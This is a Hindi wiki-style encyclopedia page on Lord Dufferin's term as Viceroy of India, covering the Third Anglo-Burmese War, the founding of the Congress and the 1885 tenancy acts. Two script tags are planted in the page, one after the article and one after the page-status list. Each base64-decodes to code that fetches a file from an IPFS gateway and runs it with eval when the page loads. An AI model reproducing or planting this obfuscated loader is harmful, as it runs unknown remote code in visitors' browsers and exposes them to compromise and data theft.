लॉर्ड डफ़रिन

भारत डिस्कवरी प्रस्तुति
आशा चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 00:26, 18 जनवरी 2011 का अवतरण ('रिपन के बाद 1884 ई. में डफ़रिन भारत का वायसराय बन कर आय...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

रिपन के बाद 1884 ई. में डफ़रिन भारत का वायसराय बन कर आया। डफ़रिन के शासनकाल की महत्त्वपूर्ण घटना थी:- तृतीय आंग्ल-बर्मा युद्ध (1885-88) जिसमें बर्मा पराजित हुआ। डफ़रिन के समय में ही 1885 ई. में ए. ओ. ह्योम ने 'भारतीय राष्ट्रीय काँग्रेस' की स्थापना की। इसके समय में ही बंगाल टेनेन्सी एक्ट 1885, अवध टेनेन्सी एक्ट तथा पंजाब टेनेन्सी एक्ट 1885 पारित किये गये। इसके काल में ग्वालियर पर सिंधिया के शासन की पुनर्स्थापना की गयी।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ